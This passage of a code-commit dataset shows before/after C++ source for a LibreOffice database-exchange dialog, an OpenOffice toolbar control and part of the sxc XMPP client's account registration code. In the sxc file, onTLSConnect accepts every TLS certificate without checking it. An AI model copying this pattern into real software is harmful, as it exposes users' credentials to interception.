pSh->GetDBData();\n    OUString sDBName(rDBData.sDataSource);\n    OUString sTableName(rDBData.sCommand);\n    m_pAvailDBTLB->Select(sDBName, sTableName, aEmptyOUStr);\n\n    std::vector<OUString> aAllDBNames;\n\n    Sequence< OUString > aDBNames = xDBContext->getElementNames();\n    const OUString* pDBNames = aDBNames.getConstArray();\n    sal_Int32 nDBCount = aDBNames.getLength();\n    for(sal_Int32 i = 0; i < nDBCount; i++)\n    {\n        aAllDBNames.push_back(pDBNames[i]);\n    }\n\n    std::vector<OUString> aDBNameList;\n    pSh->GetAllUsedDB( aDBNameList, &aAllDBNames );\n\n    size_t nCount = aDBNameList.size();\n    m_pUsedDBTLB->Clear();\n    SvTreeListEntry *pFirst = 0;\n    SvTreeListEntry *pLast = 0;\n\n    for(size_t k = 0; k < nCount; k++)\n    {\n        sDBName = aDBNameList[k];\n        sDBName = sDBName.getToken(0, ';');\n        pLast = Insert(sDBName);\n        if (!pFirst)\n            pFirst = pLast;\n    }\n\n    if (pFirst)\n    {\n        m_pUsedDBTLB->MakeVisible(pFirst);\n        m_pUsedDBTLB->Select(pFirst);\n    }\n\n}\n\nSvTreeListEntry* SwChangeDBDlg::Insert(const OUString& rDBName)\n{\n    OUString sDBName(rDBName.getToken(0, DB_DELIM));\n    OUString sTableName(rDBName.getToken(1, DB_DELIM));\n    sal_IntPtr nCommandType = rDBName.getToken(2, DB_DELIM).toInt32();\n    SvTreeListEntry* pParent;\n    SvTreeListEntry* pChild;\n\n    sal_uLong nParent = 0;\n    sal_uLong nChild = 0;\n\n    Image aTableImg = aImageList.GetImage(IMG_DBTABLE);\n    Image aDBImg = aImageList.GetImage(IMG_DB);\n    Image aQueryImg = aImageList.GetImage(IMG_DBQUERY);\n    Image& rToInsert = nCommandType ? aQueryImg : aTableImg;\n    while ((pParent = m_pUsedDBTLB->GetEntry(nParent++)) != NULL)\n    {\n        if (sDBName == m_pUsedDBTLB->GetEntryText(pParent))\n        {\n            while ((pChild = m_pUsedDBTLB->GetEntry(pParent, nChild++)) != NULL)\n            {\n                if (sTableName == m_pUsedDBTLB->GetEntryText(pChild))\n                    return pChild;\n            }\n            SvTreeListEntry* pRet = m_pUsedDBTLB->InsertEntry(sTableName, rToInsert, rToInsert, pParent);\n            pRet->SetUserData((void*)nCommandType);\n            return pRet;\n        }\n    }\n    pParent = m_pUsedDBTLB->InsertEntry(sDBName, aDBImg, aDBImg);\n\n    SvTreeListEntry* pRet = m_pUsedDBTLB->InsertEntry(sTableName, rToInsert, rToInsert, pParent);\n    pRet->SetUserData((void*)nCommandType);\n    return pRet;\n}\n\n\/*--------------------------------------------------------------------\n    Description: destroy dialog\n --------------------------------------------------------------------*\/\nSwChangeDBDlg::~SwChangeDBDlg()\n{\n    delete pMgr;\n}\n\n\/*--------------------------------------------------------------------\n     Description:   close\n --------------------------------------------------------------------*\/\nvoid SwChangeDBDlg::Apply()\n{\n    UpdateFlds();\n}\n\nvoid SwChangeDBDlg::UpdateFlds()\n{\n    std::vector<OUString> aDBNames;\n    aDBNames.reserve(m_pUsedDBTLB->GetSelectionCount());\n    SvTreeListEntry* pEntry = m_pUsedDBTLB->FirstSelected();\n\n    while( pEntry )\n    {\n        if( m_pUsedDBTLB->GetParent( pEntry ))\n        {\n            OUString sTmp(m_pUsedDBTLB->GetEntryText( m_pUsedDBTLB->GetParent( pEntry )) +\n                          OUString(DB_DELIM) + m_pUsedDBTLB->GetEntryText( pEntry ) + OUString(DB_DELIM) +\n                          OUString::number((int)(sal_uLong)pEntry->GetUserData()));\n            aDBNames.push_back(sTmp);\n        }\n        pEntry = m_pUsedDBTLB->NextSelected(pEntry);\n    }\n\n    pSh->StartAllAction();\n    OUString sTableName;\n    OUString sColumnName;\n    sal_Bool bIsTable = sal_False;\n    const OUString sTemp = m_pAvailDBTLB->GetDBName(sTableName, sColumnName, &bIsTable)\n        + OUString(DB_DELIM)\n        + sTableName\n        + OUString(DB_DELIM)\n        + OUString(static_cast<sal_Unicode>(bIsTable ? '0' : '1'));\n    pSh->ChangeDBFields( aDBNames, sTemp);\n    pSh->EndAllAction();\n}\n\nIMPL_LINK_NOARG(SwChangeDBDlg, ButtonHdl)\n{\n    OUString sTableName;\n    OUString sColumnName;\n    SwDBData aData;\n    sal_Bool bIsTable = sal_False;\n    aData.sDataSource = m_pAvailDBTLB->GetDBName(sTableName, sColumnName, &bIsTable);\n    aData.sCommand = sTableName;\n    aData.nCommandType = bIsTable ? 0 : 1;\n    pSh->ChgDBData(aData);\n    ShowDBName(pSh->GetDBData());\n    EndDialog(RET_OK);\n\n    return 0;\n}\n\nIMPL_LINK_NOARG(SwChangeDBDlg, TreeSelectHdl)\n{\n    sal_Bool bEnable = sal_False;\n\n    SvTreeListEntry* pEntry = m_pAvailDBTLB->GetCurEntry();\n\n    if (pEntry)\n    {\n        if (m_pAvailDBTLB->GetParent(pEntry))\n            bEnable = sal_True;\n        m_pDefineBT->Enable( bEnable );\n    }\n    return 0;\n}\n\n\/*--------------------------------------------------------------------\n    Description: convert database name for display\n --------------------------------------------------------------------*\/\nvoid SwChangeDBDlg::ShowDBName(const SwDBData& rDBData)\n{\n    OUString sTmp(rDBData.sDataSource);\n    sTmp += \".\";\n    sTmp += rDBData.sCommand;\n\n    OUString sName(sTmp.replaceAll(\"~\", \"~~\"));\n    if (sName == \".\") \/\/empty\n        sName = SW_RESSTR(SW_STR_NONE);\n\n    m_pDocDBNameFT->SetText(sName);\n}\n\nIMPL_LINK_NOARG(SwChangeDBDlg, AddDBHdl)\n{\n    OUString sNewDB = SwNewDBMgr::LoadAndRegisterDataSource();\n    if (!sNewDB.isEmpty())\n        m_pAvailDBTLB->AddDataSource(sNewDB);\n    return 0;\n}\n\n\/* vim:set shiftwidth=4 softtabstop=4 expandtab: *\/\n<commit_msg>OUString: avoid temporaries and constify<commit_after>\/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- *\/\n\/*\n * This file is part of the LibreOffice project.\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\n * This file incorporates work covered by the following license notice:\n *\n *   Licensed to the Apache Software Foundation (ASF) under one or more\n *   contributor license agreements. See the NOTICE file distributed\n *   with this work for additional information regarding copyright\n *   ownership. The ASF licenses this file to you under the Apache\n *   License, Version 2.0 (the \"License\"); you may not use this file\n *   except in compliance with the License. You may obtain a copy of\n *   the License at http:\/\/www.apache.org\/licenses\/LICENSE-2.0 .\n *\/\n\n#include <svtools\/stdctrl.hxx>\n#include <vcl\/msgbox.hxx>\n#include <com\/sun\/star\/lang\/XMultiServiceFactory.hpp>\n#include <com\/sun\/star\/container\/XNameAccess.hpp>\n#include <com\/sun\/star\/sdb\/DatabaseContext.hpp>\n#include <com\/sun\/star\/sdb\/XDatabaseAccess.hpp>\n#include <comphelper\/processfactory.hxx>\n#include <sfx2\/viewfrm.hxx>\n#include \"svtools\/treelistentry.hxx\"\n\n#include <view.hxx>\n#include <wrtsh.hxx>\n#include <dbmgr.hxx>\n#include <fldmgr.hxx>\n#include <expfld.hxx>\n#include <txtatr.hxx>\n#include <ndtxt.hxx>\n#include <fldbas.hxx>\n#include <dbfld.hxx>\n#include <changedb.hxx>\n\n#include <fldui.hrc>\n#include <globals.hrc>\n#include <utlui.hrc>\n\n#include <unomid.h>\n\nusing namespace ::com::sun::star::container;\nusing namespace ::com::sun::star::lang;\nusing namespace ::com::sun::star::sdb;\nusing namespace ::com::sun::star::uno;\n\n\/*--------------------------------------------------------------------\n    Description: edit insert-field\n --------------------------------------------------------------------*\/\nSwChangeDBDlg::SwChangeDBDlg(SwView& rVw)\n    : SvxStandardDialog(&rVw.GetViewFrame()->GetWindow(), \"ExchangeDatabasesDialog\",\n        \"modules\/swriter\/ui\/exchangedatabases.ui\")\n    , aImageList(SW_RES(ILIST_DB_DLG))\n    , pSh(rVw.GetWrtShellPtr())\n    , pMgr( new SwFldMgr() )\n{\n    get(m_pUsedDBTLB, \"inuselb\");\n    get(m_pAvailDBTLB, \"availablelb\");\n    get(m_pAddDBPB, \"browse\");\n    get(m_pDocDBNameFT, \"dbnameft\");\n    get(m_pDefineBT, \"define\");\n    m_pAvailDBTLB->SetWrtShell(*pSh);\n    FillDBPopup();\n\n    ShowDBName(pSh->GetDBData());\n    m_pDefineBT->SetClickHdl(LINK(this, SwChangeDBDlg, ButtonHdl));\n    m_pAddDBPB->SetClickHdl(LINK(this, SwChangeDBDlg, AddDBHdl));\n\n    m_pUsedDBTLB->SetSelectionMode(MULTIPLE_SELECTION);\n    m_pUsedDBTLB->SetStyle(m_pUsedDBTLB->GetStyle()|WB_HASLINES|WB_CLIPCHILDREN|WB_SORT|WB_HASBUTTONS|WB_HASBUTTONSATROOT|WB_HSCROLL);\n    m_pUsedDBTLB->SetSpaceBetweenEntries(0);\n    m_pUsedDBTLB->SetNodeBitmaps( aImageList.GetImage(IMG_COLLAPSE), aImageList.GetImage(IMG_EXPAND));\n\n    Link aLink = LINK(this, SwChangeDBDlg, TreeSelectHdl);\n\n    m_pUsedDBTLB->SetSelectHdl(aLink);\n    m_pUsedDBTLB->SetDeselectHdl(aLink);\n    m_pAvailDBTLB->SetSelectHdl(aLink);\n    m_pAvailDBTLB->SetSelectHdl(aLink);\n    TreeSelectHdl();\n}\n\n\/*--------------------------------------------------------------------\n    Description: initialise database listboxes\n --------------------------------------------------------------------*\/\nvoid SwChangeDBDlg::FillDBPopup()\n{\n    Reference< XComponentContext > xContext( ::comphelper::getProcessComponentContext() );\n    Reference<XDatabaseContext> xDBContext = DatabaseContext::create(xContext);\n\n    const SwDBData& rDBData = pSh->GetDBData();\n    m_pAvailDBTLB->Select(rDBData.sDataSource, rDBData.sCommand, aEmptyOUStr);\n\n    std::vector<OUString> aAllDBNames;\n\n    Sequence< OUString > aDBNames = xDBContext->getElementNames();\n    const OUString* pDBNames = aDBNames.getConstArray();\n    sal_Int32 nDBCount = aDBNames.getLength();\n    for(sal_Int32 i = 0; i < nDBCount; i++)\n    {\n        aAllDBNames.push_back(pDBNames[i]);\n    }\n\n    std::vector<OUString> aDBNameList;\n    pSh->GetAllUsedDB( aDBNameList, &aAllDBNames );\n\n    size_t nCount = aDBNameList.size();\n    m_pUsedDBTLB->Clear();\n    SvTreeListEntry *pFirst = 0;\n    SvTreeListEntry *pLast = 0;\n\n    for(size_t k = 0; k < nCount; k++)\n    {\n        pLast = Insert(aDBNameList[k].getToken(0, ';'));\n        if (!pFirst)\n            pFirst = pLast;\n    }\n\n    if (pFirst)\n    {\n        m_pUsedDBTLB->MakeVisible(pFirst);\n        m_pUsedDBTLB->Select(pFirst);\n    }\n\n}\n\nSvTreeListEntry* SwChangeDBDlg::Insert(const OUString& rDBName)\n{\n    const OUString sDBName(rDBName.getToken(0, DB_DELIM));\n    const OUString sTableName(rDBName.getToken(1, DB_DELIM));\n    sal_IntPtr nCommandType = rDBName.getToken(2, DB_DELIM).toInt32();\n    SvTreeListEntry* pParent;\n    SvTreeListEntry* pChild;\n\n    sal_uLong nParent = 0;\n    sal_uLong nChild = 0;\n\n    Image aTableImg = aImageList.GetImage(IMG_DBTABLE);\n    Image aDBImg = aImageList.GetImage(IMG_DB);\n    Image aQueryImg = aImageList.GetImage(IMG_DBQUERY);\n    Image& rToInsert = nCommandType ? aQueryImg : aTableImg;\n    while ((pParent = m_pUsedDBTLB->GetEntry(nParent++)) != NULL)\n    {\n        if (sDBName == m_pUsedDBTLB->GetEntryText(pParent))\n        {\n            while ((pChild = m_pUsedDBTLB->GetEntry(pParent, nChild++)) != NULL)\n            {\n                if (sTableName == m_pUsedDBTLB->GetEntryText(pChild))\n                    return pChild;\n            }\n            SvTreeListEntry* pRet = m_pUsedDBTLB->InsertEntry(sTableName, rToInsert, rToInsert, pParent);\n            pRet->SetUserData((void*)nCommandType);\n            return pRet;\n        }\n    }\n    pParent = m_pUsedDBTLB->InsertEntry(sDBName, aDBImg, aDBImg);\n\n    SvTreeListEntry* pRet = m_pUsedDBTLB->InsertEntry(sTableName, rToInsert, rToInsert, pParent);\n    pRet->SetUserData((void*)nCommandType);\n    return pRet;\n}\n\n\/*--------------------------------------------------------------------\n    Description: destroy dialog\n --------------------------------------------------------------------*\/\nSwChangeDBDlg::~SwChangeDBDlg()\n{\n    delete pMgr;\n}\n\n\/*--------------------------------------------------------------------\n     Description:   close\n --------------------------------------------------------------------*\/\nvoid SwChangeDBDlg::Apply()\n{\n    UpdateFlds();\n}\n\nvoid SwChangeDBDlg::UpdateFlds()\n{\n    std::vector<OUString> aDBNames;\n    aDBNames.reserve(m_pUsedDBTLB->GetSelectionCount());\n    SvTreeListEntry* pEntry = m_pUsedDBTLB->FirstSelected();\n\n    while( pEntry )\n    {\n        if( m_pUsedDBTLB->GetParent( pEntry ))\n        {\n            OUString sTmp(m_pUsedDBTLB->GetEntryText( m_pUsedDBTLB->GetParent( pEntry )) +\n                          OUString(DB_DELIM) + m_pUsedDBTLB->GetEntryText( pEntry ) + OUString(DB_DELIM) +\n                          OUString::number((int)(sal_uLong)pEntry->GetUserData()));\n            aDBNames.push_back(sTmp);\n        }\n        pEntry = m_pUsedDBTLB->NextSelected(pEntry);\n    }\n\n    pSh->StartAllAction();\n    OUString sTableName;\n    OUString sColumnName;\n    sal_Bool bIsTable = sal_False;\n    const OUString sTemp = m_pAvailDBTLB->GetDBName(sTableName, sColumnName, &bIsTable)\n        + OUString(DB_DELIM)\n        + sTableName\n        + OUString(DB_DELIM)\n        + OUString(static_cast<sal_Unicode>(bIsTable ? '0' : '1'));\n    pSh->ChangeDBFields( aDBNames, sTemp);\n    pSh->EndAllAction();\n}\n\nIMPL_LINK_NOARG(SwChangeDBDlg, ButtonHdl)\n{\n    OUString sTableName;\n    OUString sColumnName;\n    SwDBData aData;\n    sal_Bool bIsTable = sal_False;\n    aData.sDataSource = m_pAvailDBTLB->GetDBName(sTableName, sColumnName, &bIsTable);\n    aData.sCommand = sTableName;\n    aData.nCommandType = bIsTable ? 0 : 1;\n    pSh->ChgDBData(aData);\n    ShowDBName(pSh->GetDBData());\n    EndDialog(RET_OK);\n\n    return 0;\n}\n\nIMPL_LINK_NOARG(SwChangeDBDlg, TreeSelectHdl)\n{\n    sal_Bool bEnable = sal_False;\n\n    SvTreeListEntry* pEntry = m_pAvailDBTLB->GetCurEntry();\n\n    if (pEntry)\n    {\n        if (m_pAvailDBTLB->GetParent(pEntry))\n            bEnable = sal_True;\n        m_pDefineBT->Enable( bEnable );\n    }\n    return 0;\n}\n\n\/*--------------------------------------------------------------------\n    Description: convert database name for display\n --------------------------------------------------------------------*\/\nvoid SwChangeDBDlg::ShowDBName(const SwDBData& rDBData)\n{\n    if (rDBData.sDataSource.isEmpty() && rDBData.sCommand.isEmpty())\n    {\n        m_pDocDBNameFT->SetText(SW_RESSTR(SW_STR_NONE));\n    }\n    else\n    {\n        const OUString sName(rDBData.sDataSource + \".\" + rDBData.sCommand);\n        m_pDocDBNameFT->SetText(sName.replaceAll(\"~\", \"~~\"));\n    }\n}\n\nIMPL_LINK_NOARG(SwChangeDBDlg, AddDBHdl)\n{\n    const OUString sNewDB = SwNewDBMgr::LoadAndRegisterDataSource();\n    if (!sNewDB.isEmpty())\n        m_pAvailDBTLB->AddDataSource(sNewDB);\n    return 0;\n}\n\n\/* vim:set shiftwidth=4 softtabstop=4 expandtab: *\/\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: tblctrl.cxx,v $\n *\n *  $Revision: 1.7 $\n *\n *  last change: $Author: rt $ $Date: 2005-09-09 10:45:56 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n\n#pragma hdrstop\n\n#ifndef _SFXINTITEM_HXX \/\/autogen\n#include <svtools\/intitem.hxx>\n#endif\n\n#include <vcl\/toolbox.hxx>\n#include <sfx2\/app.hxx>\n\n#include \"cmdid.h\"\n#include \"swtypes.hxx\"\n#include \"tbxmgr.hxx\"\n#include \"tblctrl.hxx\"\n#include \"tblctrl.hrc\"\n\n\n\nSFX_IMPL_TOOLBOX_CONTROL( SwTableOptimizeCtrl, SfxUInt16Item );\n\n\/**********************************************************************\n\n**********************************************************************\/\n\n\n\n\nSwTableOptimizeCtrl::SwTableOptimizeCtrl(\n    USHORT nSlotId,\n    USHORT nId,\n    ToolBox& rTbx ) :\n        SfxToolBoxControl( nSlotId, nId, rTbx )\n{\n    rTbx.SetItemBits( nId, TIB_DROPDOWNONLY | rTbx.GetItemBits( nId ) );\n}\n\/**********************************************************************\n\n**********************************************************************\/\n\n\n\nSwTableOptimizeCtrl::~SwTableOptimizeCtrl()\n{\n}\n\n\/**********************************************************************\n\n**********************************************************************\/\n\n\n\nSfxPopupWindow* SwTableOptimizeCtrl::CreatePopupWindow()\n{\n    rtl::OUString aToolBarResStr( RTL_CONSTASCII_USTRINGPARAM( \"private:resource\/toolbar\/optimizetablebar\" ));\n    createAndPositionSubToolBar( aToolBarResStr );\n    return NULL;\n}\n\n\/**********************************************************************\n\n**********************************************************************\/\n\n\n\nSfxPopupWindowType  SwTableOptimizeCtrl::GetPopupWindowType() const\n{\n    return SFX_POPUPWINDOW_ONCLICK;\n}\n<commit_msg>INTEGRATION: CWS pchfix02 (1.7.476); FILE MERGED 2006\/09\/01 17:53:17 kaib 1.7.476.1: #i68856# Added header markers and pch files<commit_after>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: tblctrl.cxx,v $\n *\n *  $Revision: 1.8 $\n *\n *  last change: $Author: obo $ $Date: 2006-09-16 23:11:55 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_sw.hxx\"\n\n\n\n#ifndef _SFXINTITEM_HXX \/\/autogen\n#include <svtools\/intitem.hxx>\n#endif\n\n#include <vcl\/toolbox.hxx>\n#include <sfx2\/app.hxx>\n\n#include \"cmdid.h\"\n#include \"swtypes.hxx\"\n#include \"tbxmgr.hxx\"\n#include \"tblctrl.hxx\"\n#include \"tblctrl.hrc\"\n\n\n\nSFX_IMPL_TOOLBOX_CONTROL( SwTableOptimizeCtrl, SfxUInt16Item );\n\n\/**********************************************************************\n\n**********************************************************************\/\n\n\n\n\nSwTableOptimizeCtrl::SwTableOptimizeCtrl(\n    USHORT nSlotId,\n    USHORT nId,\n    ToolBox& rTbx ) :\n        SfxToolBoxControl( nSlotId, nId, rTbx )\n{\n    rTbx.SetItemBits( nId, TIB_DROPDOWNONLY | rTbx.GetItemBits( nId ) );\n}\n\/**********************************************************************\n\n**********************************************************************\/\n\n\n\nSwTableOptimizeCtrl::~SwTableOptimizeCtrl()\n{\n}\n\n\/**********************************************************************\n\n**********************************************************************\/\n\n\n\nSfxPopupWindow* SwTableOptimizeCtrl::CreatePopupWindow()\n{\n    rtl::OUString aToolBarResStr( RTL_CONSTASCII_USTRINGPARAM( \"private:resource\/toolbar\/optimizetablebar\" ));\n    createAndPositionSubToolBar( aToolBarResStr );\n    return NULL;\n}\n\n\/**********************************************************************\n\n**********************************************************************\/\n\n\n\nSfxPopupWindowType  SwTableOptimizeCtrl::GetPopupWindowType() const\n{\n    return SFX_POPUPWINDOW_ONCLICK;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ LICENSE\/*{{{*\/\n\/*\n  sxc - Simple Xmpp Client\n  Copyright (C) 2008 Dennis Felsing, Andreas Waidler\n\n  This program is free software: you can redistribute it and\/or modify\n  it under the terms of the GNU General Public License as published by\n  the Free Software Foundation, either version 3 of the License, or\n  (at your option) any later version.\n\n  This program is distributed in the hope that it will be useful,\n  but WITHOUT ANY WARRANTY; without even the implied warranty of\n  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n  GNU General Public License for more details.\n\n  You should have received a copy of the GNU General Public License\n  along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\/*}}}*\/\n\n\/* $Id$ *\/\n\n\/\/ INCLUDE\/*{{{*\/\n\n#include <gloox\/client.h>\n#include <gloox\/connectionlistener.h>\n#include <gloox\/registration.h>\n\n#include <libsxc\/generateString.hxx>\n\n#include <iostream>\n#include <string>\n#include <cstdio> \/\/ stdin\n#include <stdexcept> \/\/ std::runtime_error\n\n#include <termios.h> \/\/ struct termios\n#include <stdio.h> \/\/ fileno()\n#include <string.h> \/\/ strerror()\n#include <errno.h> \/\/ errno\n\n#include <print.hxx>\n#include <Registerer.hxx>\n\n\/*}}}*\/\n\n\nRegisterer::Registerer(gloox::JID jid, bool pwOnce)\/*{{{*\/\n: _pwOnce(pwOnce),\n  _jid(jid),\n  _client(jid.server())\n{\n    _client.disableRoster();\n    _client.registerConnectionListener(this);\n\n    _registration = new gloox::Registration(&_client);\n    _registration->registerRegistrationHandler(this);\n}\/*}}}*\/\nRegisterer::~Registerer()\/*{{{*\/\n{\n    _client.disconnect();\n\n    delete _registration;\n}\/*}}}*\/\n\nvoid Registerer::run()\/*{{{*\/\n{\n    _client.connect(); \/\/ Blocking connection.\n}\/*}}}*\/\nconst std::string Registerer::enterPassword(bool retype)\/*{{{*\/\n{\n    struct termios savedTermState;\n    std::string password;\n\n    try {\n        \/\/ Save a copy of the console state.\n        if (tcgetattr(fileno(stdin), &savedTermState)) \/\/ Cin must track stdin.\n            throw std::runtime_error(std::string(\"Get: \") + strerror(errno));\n\n        \/\/ Suppress echo so password is not logged.\n        struct termios newTermState = savedTermState;\n        newTermState.c_lflag &= ~ECHO;\n\n        if (tcsetattr(fileno(stdin), TCSAFLUSH, &newTermState))\n            throw std::runtime_error(std::string(\"Set: \") + strerror(errno));\n\n        \/\/ Verify that echo suppression is supported.\n        if (newTermState.c_lflag & ECHO)\n            throw std::runtime_error(\"Verify: unable to suppress echo\");\n    } catch (...) {\n        printErr(\"Securing the terminal failed.\");\n        _pwOnce = true; \/\/ Don't ask to retype.\n    }\n\n    \/\/ Prompt the user for a password.\n    std::cerr << (retype ? \"Retype Password: \" : \"Password: \") << std::flush;\n    getline(std::cin, password);\n\n    \/\/ Restore the terminal state.\n    tcsetattr(fileno(stdin), TCSANOW, &savedTermState);\n    std::cerr << std::endl;\n\n    return password;\n}\/*}}}*\/\nconst std::string Registerer::enterField(const std::string &text) const\/*{{{*\/\n{\n    std::string response;\n    std::cerr << text << \": \" << std::flush;\n    getline(std::cin, response);\n    return response;\n}\/*}}}*\/\n\nvoid Registerer::handleRegistrationFields(\/*{{{*\/\n    const gloox::JID &from,\n    int fields,\n    std::string instructions)\n{\n    gloox::RegistrationFields values;\n\n    if (fields & gloox::Registration::FieldUsername)\n        values.username = _jid.username();\n\n    \/\/ Get additional fields from stdin.\/*{{{*\/\n    if (fields & gloox::Registration::FieldNick)\n        values.nick = enterField(\"Nick\");\n\n    if (fields & gloox::Registration::FieldName)\n        values.name = enterField(\"Name\");\n\n    if (fields & gloox::Registration::FieldFirst)\n        values.first = enterField(\"First\");\n\n    if (fields & gloox::Registration::FieldLast)\n        values.last = enterField(\"Last\");\n\n    if (fields & gloox::Registration::FieldEmail)\n        values.email = enterField(\"Email\");\n\n    if (fields & gloox::Registration::FieldAddress)\n        values.address = enterField(\"Address\");\n\n    if (fields & gloox::Registration::FieldCity)\n        values.city = enterField(\"City\");\n\n    if (fields & gloox::Registration::FieldState)\n        values.state = enterField(\"State\");\n\n    if (fields & gloox::Registration::FieldZip)\n        values.zip = enterField(\"Zip\");\n\n    if (fields & gloox::Registration::FieldPhone)\n        values.phone = enterField(\"Phone\");\n\n    if (fields & gloox::Registration::FieldUrl)\n        values.url = enterField(\"Url\");\n\n    if (fields & gloox::Registration::FieldDate)\n        values.date = enterField(\"Date\");\n\n    if (fields & gloox::Registration::FieldMisc)\n        values.misc = enterField(\"Misc\");\n\n    if (fields & gloox::Registration::FieldText)\n        values.text = enterField(\"Text\");\n\/*}}}*\/\n\n    if (fields & gloox::Registration::FieldPassword) {\n        while (true) {\n            values.password = enterPassword();\n            if (_pwOnce || enterPassword(true) == values.password)\n                    break;\n        std::cerr << \"Mismatch, try again.\" << std::endl;\n        }\n    }\n\n    _registration->createAccount(fields, values);\n}\/*}}}*\/\nvoid Registerer::handleRegistrationResult(\/*{{{*\/\n    const gloox::JID &from,\n    gloox::RegistrationResult result)\n{\n    std::string text;\n\n    switch (result) {\n    case gloox::RegistrationSuccess:\n        text = \"Succeeded.\";\n        break;\n    case gloox::RegistrationNotAcceptable:\n        text = \"Not all necassary information provided.\";\n        break;\n    case gloox::RegistrationConflict:\n        text = \"Username already exists.\";\n        break;\n    case gloox::RegistrationNotAuthorized:\n        text = \"Not authorized.\";\n        break;\n    case gloox::RegistrationBadRequest:\n        text = \"Bad request.\";\n        break;\n    case gloox::RegistrationForbidden:\n        text = \"Forbidden.\";\n        break;\n    case gloox::RegistrationUnexpectedRequest:\n        text = \"Unexpected request.\";\n        break;\n    default:\n        text = \"Unknown error.\";\n        break;\n    }\n\n    if (!text.empty())\n        printErr(\"Registration: \" + text);\n\n    _client.disconnect();\n    exit(result); \/\/ Exit the program.\n}\/*}}}*\/\n\nvoid Registerer::onConnect()\/*{{{*\/\n{\n    \/\/ Request the registration fields the server requires.\n    _registration->fetchRegistrationFields();\n}\/*}}}*\/\nvoid Registerer::onDisconnect(gloox::ConnectionError e)\/*{{{*\/\n{\n    std::string &text = libsxc::genConnErrorString(\n        e,\n        _client.streamError(),\n        _client.streamErrorText(),\n        _client.authError());\n    if (!text.empty())\n        printErr(\"Disconnected: \" + text);\n}\/*}}}*\/\n    bool Registerer::onTLSConnect(const gloox::CertInfo& info)\/*{{{*\/\n    {\n        return true;\n    }\/*}}}*\/\n    void Registerer::handleAlreadyRegistered(const gloox::JID &from)\/*{{{*\/\n    {\n    }\/*}}}*\/\n    void Registerer::handleDataForm(\/*{{{*\/\n        const gloox::JID &from,\n        const gloox::DataForm &form)\n    {\n    }\/*}}}*\/\n    void Registerer::handleOOB(\/*{{{*\/\n        const gloox::JID &from,\n        const gloox::OOB &oob)\n    {\n    }\/*}}}*\/\n\n\/\/ Use no tabs at all; four spaces indentation; max. eighty chars per line.\n\/\/ vim: et ts=4 sw=4 tw=80 fo+=c fdm=marker\n<commit_msg>Fix: New version of libsxc<commit_after>\/\/ LICENSE\/*{{{*\/\n\/*\n  sxc - Simple Xmpp Client\n  Copyright (C) 2008 Dennis Felsing, Andreas Waidler\n\n  This program is free software: you can redistribute it and\/or modify\n  it under the terms of the GNU General Public License as published by\n  the Free Software Foundation, either version 3 of the License, or\n  (at your option) any later version.\n\n  This program is distributed in the hope that it will be useful,\n  but WITHOUT ANY WARRANTY; without even the implied warranty of\n  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n  GNU General Public License for more details.\n\n  You should have received a copy of the GNU General Public License\n  along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\/*}}}*\/\n\n\/* $Id$ *\/\n\n\/\/ INCLUDE\/*{{{*\/\n\n#include <gloox\/client.h>\n#include <gloox\/connectionlistener.h>\n#include <gloox\/registration.h>\n\n#include <libsxc\/generateString.hxx>\n\n#include <iostream>\n#include <string>\n#include <cstdio> \/\/ stdin\n#include <stdexcept> \/\/ std::runtime_error\n\n#include <termios.h> \/\/ struct termios\n#include <stdio.h> \/\/ fileno()\n#include <string.h> \/\/ strerror()\n#include <errno.h> \/\/ errno\n\n#include <print.hxx>\n#include <Registerer.hxx>\n\n\/*}}}*\/\n\n\nRegisterer::Registerer(gloox::JID jid, bool pwOnce)\/*{{{*\/\n: _pwOnce(pwOnce),\n  _jid(jid),\n  _client(jid.server())\n{\n    _client.disableRoster();\n    _client.registerConnectionListener(this);\n\n    _registration = new gloox::Registration(&_client);\n    _registration->registerRegistrationHandler(this);\n}\/*}}}*\/\nRegisterer::~Registerer()\/*{{{*\/\n{\n    _client.disconnect();\n\n    delete _registration;\n}\/*}}}*\/\n\nvoid 